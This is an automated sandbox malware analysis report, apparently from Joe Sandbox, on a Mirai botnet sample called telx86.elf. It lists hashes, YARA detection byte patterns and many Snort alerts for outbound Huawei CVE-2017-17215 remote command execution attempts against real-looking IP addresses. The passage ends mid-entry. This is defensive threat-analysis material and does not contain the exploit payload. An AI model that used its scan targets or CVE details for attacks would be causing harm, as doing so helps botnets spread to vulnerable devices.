Edit tour

Linux Analysis Report
telx86.elf

Overview

General Information

Sample name:	telx86.elf
Analysis ID:	1368498
MD5:	3a0fc12c5f8efdbfe79996aee1692d0a
SHA1:	2aa358dd3d4d71b89aeacea182458d1f4e1f65db
SHA256:	151b49633b1bd166fc66335ae4d489bab682360a22c0e0fc0e6491855c324a59
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Queries the IP of a very long domain name

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1368498
Start date and time:	2024-01-01 12:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	telx86.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@11/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/telx86.elf
PID:	5419
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

telx86.elf (PID: 5419, Parent: 5344, MD5: 3a0fc12c5f8efdbfe79996aee1692d0a) Arguments: /tmp/telx86.elf

telx86.elf New Fork (PID: 5420, Parent: 5419)

telx86.elf New Fork (PID: 5425, Parent: 5420)

telx86.elf New Fork (PID: 5421, Parent: 5419)

telx86.elf New Fork (PID: 5422, Parent: 5421)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
telx86.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
telx86.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3fa0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
telx86.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x6cc2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
telx86.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xa524:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
telx86.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x8d62:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
telx86.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x6c92:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5419.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5419.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x3fa0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5419.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x6cc2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5419.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xa524:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5419.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x8d62:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5419.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x6c92:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.195.116.155

Timestamp:	192.168.2.1345.195.116.15540424372152835222 01/01/24-12:53:27.958802
SID:	2835222
Source Port:	40424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.162.18

Timestamp:	192.168.2.1394.120.162.1853222372152829579 01/01/24-12:53:27.795769
SID:	2829579
Source Port:	53222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.85.239

Timestamp:	192.168.2.13156.254.85.23959312372152829579 01/01/24-12:55:04.208724
SID:	2829579
Source Port:	59312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.94.104

Timestamp:	192.168.2.13156.241.94.10448236372152835222 01/01/24-12:55:07.901171
SID:	2835222
Source Port:	48236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.66.224

Timestamp:	192.168.2.13156.254.66.22438862372152835222 01/01/24-12:53:25.197371
SID:	2835222
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.227.106

Timestamp:	192.168.2.1394.122.227.10641514372152835222 01/01/24-12:54:49.815557
SID:	2835222
Source Port:	41514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.67.112

Timestamp:	192.168.2.13156.254.67.11236964372152835222 01/01/24-12:52:21.418780
SID:	2835222
Source Port:	36964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.195.116.155

Timestamp:	192.168.2.1345.195.116.15540424372152829579 01/01/24-12:53:27.958802
SID:	2829579
Source Port:	40424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.66.224

Timestamp:	192.168.2.13156.254.66.22438862372152829579 01/01/24-12:53:25.197371
SID:	2829579
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.81.48

Timestamp:	192.168.2.13156.254.81.4855606372152829579 01/01/24-12:55:07.912325
SID:	2829579
Source Port:	55606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.230.12.123

Timestamp:	192.168.2.1341.230.12.12357614372152835222 01/01/24-12:52:28.726336
SID:	2835222
Source Port:	57614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.93.225

Timestamp:	192.168.2.13156.241.93.22549762372152835222 01/01/24-12:55:03.600053
SID:	2835222
Source Port:	49762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.227.106

Timestamp:	192.168.2.1394.122.227.10641514372152829579 01/01/24-12:54:49.815557
SID:	2829579
Source Port:	41514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.126.109

Timestamp:	192.168.2.1395.86.126.10957568372152835222 01/01/24-12:54:38.187082
SID:	2835222
Source Port:	57568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.81.48

Timestamp:	192.168.2.13156.254.81.4855606372152835222 01/01/24-12:55:07.912325
SID:	2835222
Source Port:	55606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.130.255

Timestamp:	192.168.2.13156.77.130.25543294372152829579 01/01/24-12:53:48.743322
SID:	2829579
Source Port:	43294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.11.140

Timestamp:	192.168.2.13156.224.11.14056856372152835222 01/01/24-12:52:36.466701
SID:	2835222
Source Port:	56856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.226.1

Timestamp:	192.168.2.1394.122.226.136386372152835222 01/01/24-12:54:07.986869
SID:	2835222
Source Port:	36386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.94.104

Timestamp:	192.168.2.13156.241.94.10448236372152829579 01/01/24-12:55:07.901171
SID:	2829579
Source Port:	48236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.12.75

Timestamp:	192.168.2.13156.224.12.7536878372152835222 01/01/24-12:54:01.645309
SID:	2835222
Source Port:	36878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.85.241

Timestamp:	192.168.2.13156.241.85.24146770372152835222 01/01/24-12:55:17.097341
SID:	2835222
Source Port:	46770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.42.234

Timestamp:	192.168.2.1394.120.42.23455862372152835222 01/01/24-12:52:37.051437
SID:	2835222
Source Port:	55862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.162.18

Timestamp:	192.168.2.1394.120.162.1853222372152835222 01/01/24-12:53:27.795769
SID:	2835222
Source Port:	53222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.103.98

Timestamp:	192.168.2.13156.241.103.9856426372152835222 01/01/24-12:53:55.957508
SID:	2835222
Source Port:	56426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.15.81

Timestamp:	192.168.2.13156.224.15.8158804372152829579 01/01/24-12:53:18.962521
SID:	2829579
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.138.242

Timestamp:	192.168.2.13156.77.138.24237286372152829579 01/01/24-12:54:24.868705
SID:	2829579
Source Port:	37286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.28.246

Timestamp:	192.168.2.13156.247.28.24658812372152829579 01/01/24-12:54:49.828885
SID:	2829579
Source Port:	58812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.201.16.9

Timestamp:	192.168.2.13154.201.16.940302372152835222 01/01/24-12:52:47.682060
SID:	2835222
Source Port:	40302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.207.186.42

Timestamp:	192.168.2.1345.207.186.4241962372152835222 01/01/24-12:54:56.765253
SID:	2835222
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.207.122.4

Timestamp:	192.168.2.1341.207.122.451332372152835222 01/01/24-12:54:43.357522
SID:	2835222
Source Port:	51332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.95.46

Timestamp:	192.168.2.13156.254.95.4648108372152835222 01/01/24-12:53:54.430130
SID:	2835222
Source Port:	48108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.24.231

Timestamp:	192.168.2.13156.230.24.23135978372152829579 01/01/24-12:54:59.966641
SID:	2829579
Source Port:	35978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.30.143

Timestamp:	192.168.2.13156.247.30.14344172372152829579 01/01/24-12:53:42.559872
SID:	2829579
Source Port:	44172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.207.186.42

Timestamp:	192.168.2.1345.207.186.4241962372152829579 01/01/24-12:54:56.765253
SID:	2829579
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.130.255

Timestamp:	192.168.2.13156.77.130.25543294372152835222 01/01/24-12:53:48.743322
SID:	2835222
Source Port:	43294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.11.140

Timestamp:	192.168.2.13156.224.11.14056856372152829579 01/01/24-12:52:36.466701
SID:	2829579
Source Port:	56856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.74.161

Timestamp:	192.168.2.13156.254.74.16148284372152835222 01/01/24-12:52:33.774769
SID:	2835222
Source Port:	48284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.95.46

Timestamp:	192.168.2.13156.254.95.4648108372152829579 01/01/24-12:53:54.430130
SID:	2829579
Source Port:	48108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.101.6

Timestamp:	192.168.2.13156.241.101.658258372152829579 01/01/24-12:53:51.185772
SID:	2829579
Source Port:	58258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.223.30

Timestamp:	192.168.2.1394.121.223.3054080372152835222 01/01/24-12:54:08.265250
SID:	2835222
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.207.122.4

Timestamp:	192.168.2.1341.207.122.451332372152829579 01/01/24-12:54:43.357522
SID:	2829579
Source Port:	51332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.123.106.14

Timestamp:	192.168.2.1394.123.106.1449430372152829579 01/01/24-12:55:15.479097
SID:	2829579
Source Port:	49430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.47.126.248

Timestamp:	192.168.2.1341.47.126.24858920372152835222 01/01/24-12:55:08.519752
SID:	2835222
Source Port:	58920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.214.76.238

Timestamp:	192.168.2.13154.214.76.23833396372152835222 01/01/24-12:54:55.449045
SID:	2835222
Source Port:	33396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.24.231

Timestamp:	192.168.2.13156.230.24.23135978372152835222 01/01/24-12:54:59.966641
SID:	2835222
Source Port:	35978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.85.241

Timestamp:	192.168.2.13156.241.85.24146770372152829579 01/01/24-12:55:17.097341
SID:	2829579
Source Port:	46770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.93.225

Timestamp:	192.168.2.13156.241.93.22549762372152829579 01/01/24-12:55:03.600053
SID:	2829579
Source Port:	49762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.12.75

Timestamp:	192.168.2.13156.224.12.7536878372152829579 01/01/24-12:54:01.645309
SID:	2829579
Source Port:	36878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.194.104

Timestamp:	192.168.2.1341.44.194.10446160372152835222 01/01/24-12:52:33.808440
SID:	2835222
Source Port:	46160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.42.234

Timestamp:	192.168.2.1394.120.42.23455862372152829579 01/01/24-12:52:37.051437
SID:	2829579
Source Port:	55862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.15.81

Timestamp:	192.168.2.13156.224.15.8158804372152835222 01/01/24-12:53:18.962521
SID:	2835222
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.81.175

Timestamp:	192.168.2.13156.241.81.17540264372152835222 01/01/24-12:53:31.429922
SID:	2835222
Source Port:	40264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.230.12.123

Timestamp:	192.168.2.1341.230.12.12357614372152829579 01/01/24-12:52:28.726336
SID:	2829579
Source Port:	57614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.149.145

Timestamp:	192.168.2.1394.121.149.14546400372152829579 01/01/24-12:52:45.782939
SID:	2829579
Source Port:	46400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.126.109

Timestamp:	192.168.2.1395.86.126.10957568372152829579 01/01/24-12:54:38.187082
SID:	2829579
Source Port:	57568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.226.1

Timestamp:	192.168.2.1394.122.226.136386372152829579 01/01/24-12:54:07.986869
SID:	2829579
Source Port:	36386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.43.227

Timestamp:	192.168.2.13156.253.43.22734586372152835222 01/01/24-12:54:59.700384
SID:	2835222
Source Port:	34586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.16.25.222

Timestamp:	192.168.2.1337.16.25.22237410372152835222 01/01/24-12:53:36.472789
SID:	2835222
Source Port:	37410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.41.134

Timestamp:	192.168.2.13156.253.41.13455482372152829579 01/01/24-12:52:28.994949
SID:	2829579
Source Port:	55482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.131.78

Timestamp:	192.168.2.1394.121.131.7852502372152829579 01/01/24-12:54:16.206591
SID:	2829579
Source Port:	52502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.208.194

Timestamp:	192.168.2.1394.120.208.19460170372152835222 01/01/24-12:54:27.343313
SID:	2835222
Source Port:	60170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.119.7

Timestamp:	192.168.2.13156.241.119.747944372152829579 01/01/24-12:54:41.115680
SID:	2829579
Source Port:	47944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.120.140

Timestamp:	192.168.2.13156.241.120.14052438372152829579 01/01/24-12:52:21.710115
SID:	2829579
Source Port:	52438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.43.227

Timestamp:	192.168.2.13156.253.43.22734586372152829579 01/01/24-12:54:59.700384
SID:	2829579
Source Port:	34586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.107.38

Timestamp:	192.168.2.13156.254.107.3850918372152835222 01/01/24-12:55:08.201166
SID:	2835222
Source Port:	50918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.100.243

Timestamp:	192.168.2.1394.121.100.24358266372152829579 01/01/24-12:53:16.350324
SID:	2829579
Source Port:	58266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.86.154

Timestamp:	192.168.2.13156.241.86.15445240372152835222 01/01/24-12:54:08.017124
SID:	2835222
Source Port:	45240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.66.255

Timestamp:	192.168.2.13156.254.66.25533620372152835222 01/01/24-12:54:40.810216
SID:	2835222
Source Port:	33620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.131.78

Timestamp:	192.168.2.1394.121.131.7852502372152835222 01/01/24-12:54:16.206591
SID:	2835222
Source Port:	52502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.16.25.222

Timestamp:	192.168.2.1337.16.25.22237410372152829579 01/01/24-12:53:36.472789
SID:	2829579
Source Port:	37410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.208.194

Timestamp:	192.168.2.1394.120.208.19460170372152829579 01/01/24-12:54:27.343313
SID:	2829579
Source Port:	60170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.86.154

Timestamp:	192.168.2.13156.241.86.15445240372152829579 01/01/24-12:54:08.017124
SID:	2829579
Source Port:	45240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.123.106.14

Timestamp:	192.168.2.1394.123.106.1449430372152835222 01/01/24-12:55:15.479097
SID:	2835222
Source Port:	49430
